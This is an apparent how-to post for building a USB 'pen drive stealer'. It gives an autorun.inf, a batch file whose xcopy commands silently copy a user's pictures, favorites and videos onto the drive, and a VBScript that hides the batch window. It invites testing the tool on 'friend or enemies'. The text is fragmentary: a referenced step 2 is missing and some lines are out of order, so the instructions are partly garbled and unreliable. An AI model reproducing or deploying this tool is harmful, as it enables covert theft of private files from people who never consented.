Step 1 :
Open Notepad (I recommend Notepad++) and copy & paste the following lines.
action=Click OK to Run
Save it as autorun.inf
The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.
set backupcmd=xcopy /s /c /d /e /h /i /r /y
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
First file path “%USERPROFILE%\pictures” – is the target.
Second file path “%drive%\all\My pics” – is the destination.
CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False
wscript.exe \invisible.vbs file.bat
Finally copy all Four files created in the above steps and put it on the root of the USB Pen drive. Also create a folder named ‘data’ where the contents are to be copied automatically. You can name this folder by any name, but then you need to reflect the changes you made in step 2.
This is all done. Test the USB Pen drive on your own computer first before playing it out on your friend or enemies. It works amazingly.